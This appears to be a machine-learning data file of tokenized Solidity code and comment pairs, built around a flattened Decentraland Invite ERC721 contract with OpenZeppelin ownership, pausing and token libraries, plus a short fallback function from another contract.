[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 512, 2579, 27, 2138, 288, 203, 565, 1731, 1578, 3238, 11732, 389, 3587, 15023, 67, 18192, 67, 4550, 31, 203, 565, 2254, 5034, 3238, 11732, 389, 3587, 15023, 67, 1792, 6964, 67, 734, 31, 203, 565, 1758, 3238, 11732, 389, 3587, 15023, 67, 2455, 5127, 31, 203, 203, 565, 1731, 1578, 3238, 11732, 389, 15920, 2056, 67, 1985, 31, 203, 565, 1731, 1578, 3238, 11732, 389, 15920, 2056, 67, 5757, 31, 203, 565, 1731, 1578, 3238, 11732, 389, 2399, 67, 15920, 31, 203, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 565, 3885, 12, 1080, 3778, 508, 16, 533, 3778, 1177, 13, 288, 203, 3639, 1731, 1578, 14242, 461, 273, 417, 24410, 581, 5034, 12, 3890, 12, 529, 10019, 203, 3639, 1731, 1578, 14242, 1444, 273, 417, 24410, 581, 5034, 12, 3890, 12, 1589, 10019, 203, 3639, 1731, 1578, 618, 2310, 273, 417, 24410, 581, 5034, 12, 203, 5411, 315, 41, 2579, 27, 2138, 3748, 12, 1080, 508, 16, 1080, 1177, 16, 11890, 5034, 2687, 548, 16, 2867, 3929, 310, 8924, 2225, 203, 3639, 11272, 203, 3639, 389, 15920, 2056, 67, 1985, 273, 14242, 461, 31, 203, 3639, 389, 15920, 2056, 67, 5757, 273, 14242, 1444, 31, 203, 3639, 389, 3587, 15023, 67, 1792, 6964, 67, 734, 273, 1203, 18, 5639, 350, 31, 203, 3639, 389, 3587, 15023, 67, 18192, 67, 4550, 273, 389, 3510, 3748, 6581, 12, 723, 2310, 16, 14242, 461, 16, 14242, 1444, 1769, 203, 3639, 389, 3587, 15023, 67, 2455, 5127, 273, 2 ]
pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Basic { event Transfer( address indexed _from, address indexed _to, uint256 _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721.sol /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Metadata is ERC721Basic { function name() public view returns (string _name); function symbol() public view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } /** * @title ERC-721 Non-Fungible Token Standard, full implementation interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } // File: openzeppelin-solidity/contracts/AddressUtils.sol /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(addr) } return size > 0; } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721Receiver.sol /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract ERC721Receiver { /** * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` */ bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. This function MUST use 50,000 gas or less. Return of other * than the magic value MUST result in the transaction being reverted. * Note: the contract address is always the message sender. * @param _from The sending address * @param _tokenId The NFT identifier which is being transfered * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))` */ function onERC721Received( address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721BasicToken.sol /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721BasicToken is ERC721Basic { using SafeMath for uint256; using AddressUtils for address; // Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))` // which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; // Mapping from token ID to owner mapping (uint256 => address) internal tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) internal tokenApprovals; // Mapping from owner to number of owned token mapping (address => uint256) internal ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) internal operatorApprovals; /** * @dev Guarantees msg.sender is owner of the given token * @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender */ modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } /** * @dev Checks msg.sender can transfer a token, by being owner, approved, or operator * @param _tokenId uint256 ID of the token to validate */ modifier canTransfer(uint256 _tokenId) { require(isApprovedOrOwner(msg.sender, _tokenId)); _; } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } /** * @dev Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Returns whether the specified token exists * @param _tokenId uint256 ID of the token to query the existence of * @return whether the token exists */ function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } /** * @dev Approves another address to transfer the given token ID * @dev The zero address indicates there is no approved address. * @dev There can only be one approved address per token at a given time. * @dev Can only be called by the token owner or an approved operator. * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); if (getApproved(_tokenId) != address(0) || _to != address(0)) { tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } } /** * @dev Gets the approved address for a token ID, or zero if no address set * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @dev Sets or unsets the approval of a given operator * @dev An operator is allowed to transfer all tokens of the sender on their behalf * @param _to operator address to set the approval * @param _approved representing the status of the approval to be set */ function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } /** * @dev Tells whether an operator is approved by a given owner * @param _owner owner address which you want to query the approval of * @param _operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll( address _owner, address _operator ) public view returns (bool) { return operatorApprovals[_owner][_operator]; } /** * @dev Transfers the ownership of a given token ID to another address * @dev Usage of this method is discouraged, use `safeTransferFrom` whenever possible * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * @dev If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { // solium-disable-next-line arg-overflow safeTransferFrom(_from, _to, _tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * @dev If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public canTransfer(_tokenId) { transferFrom(_from, _to, _tokenId); // solium-disable-next-line arg-overflow require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } /** * @dev Returns whether the given spender can transfer a given token ID * @param _spender address of the spender to query * @param _tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); // Disable solium check because of // https://github.com/duaraghav8/Solium/issues/175 // solium-disable-next-line operator-whitespace return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } /** * @dev Internal function to mint a new token * @dev Reverts if the given token ID already exists * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } /** * @dev Internal function to burn a specific token * @dev Reverts if the token does not exist * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } /** * @dev Internal function to clear current approval of a given token ID * @dev Reverts if the given address is not indeed the owner of the token * @param _owner owner of the token * @param _tokenId uint256 ID of the token to be transferred */ function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); emit Approval(_owner, address(0), _tokenId); } } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } /** * @dev Internal function to invoke `onERC721Received` on a target address * @dev The call is not executed if the target address is not a contract * @param _from address representing the previous owner of the given token ID * @param _to target address that will receive the tokens * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721Token.sol /** * @title Full ERC721 Token * This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Token is ERC721, ERC721BasicToken { // Token name string internal name_; // Token symbol string internal symbol_; // Mapping from owner to list of owned token IDs mapping(address => uint256[]) internal ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) internal ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] internal allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) internal allTokensIndex; // Optional mapping for token URIs mapping(uint256 => string) internal tokenURIs; /** * @dev Constructor function */ constructor(string _name, string _symbol) public { name_ = _name; symbol_ = _symbol; } /** * @dev Gets the token name * @return string representing the token name */ function name() public view returns (string) { return name_; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() public view returns (string) { return symbol_; } /** * @dev Returns an URI for a given token ID * @dev Throws if the token ID does not exist. May return an empty string. * @param _tokenId uint256 ID of the token to query */ function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param _owner address owning the tokens list to be accessed * @param _index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * @dev Reverts if the index is greater or equal to the total number of tokens * @param _index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } /** * @dev Internal function to set the token URI for a given token * @dev Reverts if the token ID does not exist * @param _tokenId uint256 ID of the token to set its URI * @param _uri string URI to assign */ function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } /** * @dev Internal function to mint a new token * @dev Reverts if the given token ID already exists * @param _to address the beneficiary that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } /** * @dev Internal function to burn a specific token * @dev Reverts if the token does not exist * @param _owner owner of the token to burn * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); // Clear metadata (if any) if (bytes(tokenURIs[_tokenId]).length != 0) { delete tokenURIs[_tokenId]; } // Reorg all tokens array uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } } // File: contracts/Invite.sol contract DecentralandInvite is ERC721Token, Ownable, Pausable { mapping (address => uint256) public balance; mapping (uint256 => bytes) public metadata; event Invited(address who, address target, uint256 id, bytes note); event UpdateInvites(address who, uint256 amount); event URIUpdated(uint256 id, string newUri); constructor() public ERC721Token("Decentraland Invite", "DCLI") {} function allow(address target, uint256 amount) public onlyOwner { balance[target] = amount; emit UpdateInvites(target, amount); } function invite(address target, bytes note) public { require(balance[msg.sender] > 0); balance[msg.sender] -= 1; uint256 id = totalSupply(); _mint(target, id); metadata[id] = note; emit Invited(msg.sender, target, id, note); } function revoke(address target) onlyOwner public { require(ownedTokensCount[target] > 0); uint256 addressTokensCount = ownedTokensCount[target]; // Collect token IDs to burn uint256[] memory burnTokenIds = new uint256[](addressTokensCount); for (uint256 i = 0; i < addressTokensCount; i++) { burnTokenIds[i] = tokenOfOwnerByIndex(target, i); } // Burn all tokens held by the target address for (i = 0; i < addressTokensCount; i++) { _burn(target, burnTokenIds[i]); } } function setTokenURI(uint256 id, string uri) public { require(msg.sender == ownerOf(id)); _setTokenURI(id, uri); emit URIUpdated(id, uri); } function transferFrom(address _from, address _to, uint256 _tokenId) whenNotPaused public { super.transferFrom(_from, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint256 _tokenId) whenNotPaused public { super.safeTransferFrom(_from, _to, _tokenId); } function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) whenNotPaused public { super.safeTransferFrom(_from, _to, _tokenId, _data); } }
Collect token IDs to burn Burn all tokens held by the target address
function revoke(address target) onlyOwner public { require(ownedTokensCount[target] > 0); uint256 addressTokensCount = ownedTokensCount[target]; uint256[] memory burnTokenIds = new uint256[](addressTokensCount); for (uint256 i = 0; i < addressTokensCount; i++) { burnTokenIds[i] = tokenOfOwnerByIndex(target, i); } for (i = 0; i < addressTokensCount; i++) { _burn(target, burnTokenIds[i]); } }
1,471,554
[ 1, 10808, 1147, 7115, 358, 18305, 605, 321, 777, 2430, 15770, 635, 326, 1018, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 18007, 12, 2867, 1018, 13, 1338, 5541, 1071, 288, 203, 565, 2583, 12, 995, 329, 5157, 1380, 63, 3299, 65, 405, 374, 1769, 203, 203, 565, 2254, 5034, 1758, 5157, 1380, 273, 16199, 5157, 1380, 63, 3299, 15533, 203, 203, 565, 2254, 5034, 8526, 3778, 18305, 1345, 2673, 273, 394, 2254, 5034, 8526, 12, 2867, 5157, 1380, 1769, 203, 565, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 1758, 5157, 1380, 31, 277, 27245, 288, 203, 1377, 18305, 1345, 2673, 63, 77, 65, 273, 1147, 951, 5541, 21268, 12, 3299, 16, 277, 1769, 203, 565, 289, 203, 203, 565, 364, 261, 77, 273, 374, 31, 277, 411, 1758, 5157, 1380, 31, 277, 27245, 288, 203, 1377, 389, 70, 321, 12, 3299, 16, 18305, 1345, 2673, 63, 77, 19226, 203, 565, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0x7BbD82Cf9067ddba47b2d3A2c9070E9f984321e8/sources/LavaWallet.sol
do not allow ether to enter
function() external payable { revert(); }
3,319,568
[ 1, 2896, 486, 1699, 225, 2437, 358, 6103, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1435, 3903, 8843, 429, 288, 203, 1377, 15226, 5621, 203, 225, 289, 203, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x195B0534e07A80170aBb6A620a6819632381f51D/sources/browser/New_folder/Untitled.sol
